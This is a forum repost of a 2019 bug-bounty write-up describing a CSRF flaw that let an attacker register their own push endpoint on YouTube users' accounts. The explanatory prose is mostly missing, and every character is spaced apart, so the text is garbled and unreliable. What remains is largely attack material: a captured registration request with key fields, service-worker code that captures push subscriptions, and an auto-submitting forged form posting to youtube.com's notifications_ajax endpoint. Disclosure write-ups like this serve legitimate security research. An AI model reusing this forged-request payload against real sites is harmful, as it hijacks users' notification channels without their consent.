[14039] 2019-04-27_能够用于劫持Youtube用户通知消息的CSRF漏洞探究

文档创建者:s7ckTeam
浏览次数:34
最后更新:2025-01-18
2019-04-27_能够用于劫持Youtube用户通知消息的CSRF漏洞探究 Y o u t u b e C S R F c l o u d s   F r e e B u f   2 0 1 9 - 0 4 - 2 7 w r i t e u p Y o u T u b e N o t i f i c a t i o n C S R F Y o u T u b e G o o g l e $ 3 1 3 3 . 7 P O S T Y o u T u b e 0 0 : 3 0 . . 便 Y o u T u b e N o t i f i c a t i o n P O S T C S R F a u t h _ k e y p 2 5 6 d h _ k e y e n d p o i n t d e v i c e _ i d u p d a t e s . p u s h . s e r v i c e s . m o z i l l a . c o m M o z i l l a C S R F S e r v i c e   W o r k e r   线 线 P O S T r e f e r r e r h t t p s : / / w w w . y o u t u b e . c o m / s w . j s s w . j s 线 S e r v i c e   W o r k e r P O S T   / n o t i f i c a t i o n s _ a j a x ? a c t i o n _ r e g i s t e r _ d e v i c e = 1   H T T P / 1 . 1 H o s t :   w w w . y o u t u b e . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 6 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 5 . 0 A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p s : / / w w w . y o u t u b e . c o m / s w . j s C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 O r i g i n :   h t t p s : / / w w w . y o u t u b e . c o m C o n t e n t - L e n g t h :   1 4 5 9 C o n n e c t i o n :   c l o s e C o o k i e :   d u h ,   c o o k i e s ! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " e n d p o i n t " h t t p s : / / u p d a t e s . p u s h . s e r v i c e s . m o z i l l a . c o m / w p u s h / v 1 / g A A A . . . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " d e v i c e _ i d " d b e 8 4 5 3 d 9 9 7 1 4 c 6 1 6 0 9 9 4 f d f 5 b b 3 c 5 9 3 3 2 d f 0 4 2 7 8 a . . . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " p 2 5 6 d h _ k e y " B B N V k V O t 6 t p Y 1 K v J J q t L v q t . . . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " a u t h _ k e y " V 5 - _ l h 6 n Y T 2 z o Y . . . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " p e r m i s s i o n " g r a n t e d - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 - -
S e r v i c e   W o r k e r   S e r v i c e   W o r k e r   w e b   线 S e r v i c e   W o r k e r 线 A P I S e r v i c e W o r k e r W e b r e f e r r e r s w . j s P O S T C S R F Y o u T u b e C S R F P o C s w . j s i n d e x . h t m l s w . j s < ! D O C T Y P E   h t m l > < h t m l > < h e a d >         < m e t a   c h a r s e t = " u t f - 8 "   / >         < m e t a   h t t p - e q u i v = " X - U A - C o m p a t i b l e "   c o n t e n t = " I E = e d g e " >         < t i t l e > P u s h   D e m o < / t i t l e >         < m e t a   n a m e = " v i e w p o r t "   c o n t e n t = " w i d t h = d e v i c e - w i d t h ,   i n i t i a l - s c a l e = 1 " >         < l i n k   r e l = " s t y l e s h e e t "   t y p e = " t e x t / c s s "   m e d i a = " s c r e e n "   h r e f = " i n d e x . c s s "   / >         < s c r i p t   s r c = " i n d e x . j s " > < / s c r i p t > < / h e a d > < b o d y >         < h 1 > H e l l o   W o r l d < / h 1 >         < b u t t o n   i d = " p e r m i s s i o n - b t n "   o n c l i c k = " m a i n ( ) " > A s k   P e r m i s s i o n < / b u t t o n > < / b o d y > < / h t m l > i n d e x . j s c o n s t   c h e c k   =   ( )   = >   {     i f   ( ! ( ' s e r v i c e W o r k e r '   i n   n a v i g a t o r ) )   {         t h r o w   n e w   E r r o r ( ' N o   S e r v i c e   W o r k e r   s u p p o r t ! ' )     }     i f   ( ! ( ' P u s h M a n a g e r '   i n   w i n d o w ) )   {         t h r o w   n e w   E r r o r ( ' N o   P u s h   A P I   S u p p o r t ! ' )     } } c o n s t   r e g i s t e r S e r v i c e W o r k e r   =   a s y n c   ( )   = >   {     c o n s t   s w R e g i s t r a t i o n   =   a w a i t   n a v i g a t o r . s e r v i c e W o r k e r . r e g i s t e r ( ' s w . j s ' )     r e t u r n   s w R e g i s t r a t i o n } c o n s t   r e q u e s t N o t i f i c a t i o n P e r m i s s i o n   =   a s y n c   ( )   = >   {     c o n s t   p e r m i s s i o n   =   a w a i t   w i n d o w . N o t i f i c a t i o n . r e q u e s t P e r m i s s i o n ( )     i f   ( p e r m i s s i o n   ! = =   ' g r a n t e d ' )   {         t h r o w   n e w   E r r o r ( ' P e r m i s s i o n   n o t   g r a n t e d   f o r   N o t i f i c a t i o n ' )     } } c o n s t   m a i n   =   a s y n c   ( )   = >   {     c h e c k ( )     c o n s t   s w R e g i s t r a t i o n   =   a w a i t   r e g i s t e r S e r v i c e W o r k e r ( )     c o n s t   p e r m i s s i o n   =   a w a i t   r e q u e s t N o t i f i c a t i o n P e r m i s s i o n ( ) } s e l f . a d d E v e n t L i s t e n e r ( ' a c t i v a t e ' ,   a s y n c   ( )   = >   {       c o n s o l e . l o g ( " H e l l o " ) ;             s e l f . r e g i s t r a t i o n . p u s h M a n a g e r . s u b s c r i b e ( )     . t h e n ( f u n c t i o n ( s u b s c r i p t i o n )   {                     c o n s o l e . l o g ( J S O N . s t r i n g i f y ( s u b s c r i p t i o n ) ) ;     } )     . c a t c h ( f u n c t i o n ( e )   {         c o n s o l e . l o g ( e ) ;     } ) ; } ) s e l f . a d d E v e n t L i s t e n e r ( " p u s h " ,   f u n c t i o n ( e v e n t )   {
s w . j s N o t i f i c a t i o n i n d e x . h t m l A s k P e r m i s s i o n s w . j s F i r e f o x   A P I C S R F l o c l a l h o s t S e r v i c e   W o r k e r   线 s w . j s d e v e l o p e r . m o z i l l a . o r g d e v e l o p e r s . g o o g l e . c o m Y o u t u b e C S R F Y o u t u b e C S R F Y o u t u b e P U S H   w e b h o o k Y o u t u b e Y o u t u b e V R P $ 3 1 3 3 . 7 0 * h a c k a d e m i c c l o u d s F r e e B u f . C O M s e l f . a d d E v e n t L i s t e n e r ( " p u s h " ,   f u n c t i o n ( e v e n t )   {     i f   ( e v e n t . d a t a )   {         c o n s o l e . l o g ( " P u s h   e v e n t ! !   " ,   e v e n t . d a t a . t e x t ( ) ) ;         s h o w L o c a l N o t i f i c a t i o n ( " Y o l o " ,   e v e n t . d a t a . t e x t ( ) ,     s e l f . r e g i s t r a t i o n ) ;     }   e l s e   {         c o n s o l e . l o g ( " P u s h   e v e n t   b u t   n o   d a t a " ) ;     } } ) ; c o n s t   s h o w L o c a l N o t i f i c a t i o n   =   ( t i t l e ,   b o d y ,   s w R e g i s t r a t i o n )   = >   {     c o n s t   o p t i o n s   =   {         b o d y         / /   h e r e   y o u   c a n   a d d   m o r e   p r o p e r t i e s   l i k e   i c o n ,   i m a g e ,   v i b r a t e ,   e t c .     } ;     s w R e g i s t r a t i o n . s h o w N o t i f i c a t i o n ( t i t l e ,   o p t i o n s ) ; } ; < f o r m   a c t i o n = " h t t p s : / / w w w . y o u t u b e . c o m / n o t i f i c a t i o n s _ a j a x ? a c t i o n _ r e g i s t e r _ d e v i c e = 1 "   m e t h o d = " p o s t "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a "   n a m e = " c s r f " >                 < i n p u t   t y p e = " t e x t "   n a m e = " d e v i c e _ i d "   v a l u e = " r e p l a c e " >                 < i n p u t   t y p e = " t e x t "   n a m e = " p e r m i s s i o n "   v a l u e = " g r a n t e d " >                                 < i n p u t   t y p e = " t e x t "   n a m e = " e n d p o i n t "   v a l u e = " r e p l a c e " >                                 < i n p u t   t y p e = " t e x t "   n a m e = " p 2 5 6 d h _ k e y "   v a l u e = " r e p l a c e = " >                                 < i n p u t   t y p e = " t e x t "   n a m e = " a u t h _ k e y "   v a l u e = " r e p l a c e " >                 < i n p u t   t y p e = " s u b m i t " >                 < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > d o c u m e n t . c s r f . s u b m i t ( ) ; < / s c r i p t > < / f o r m > < / h t m l >


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则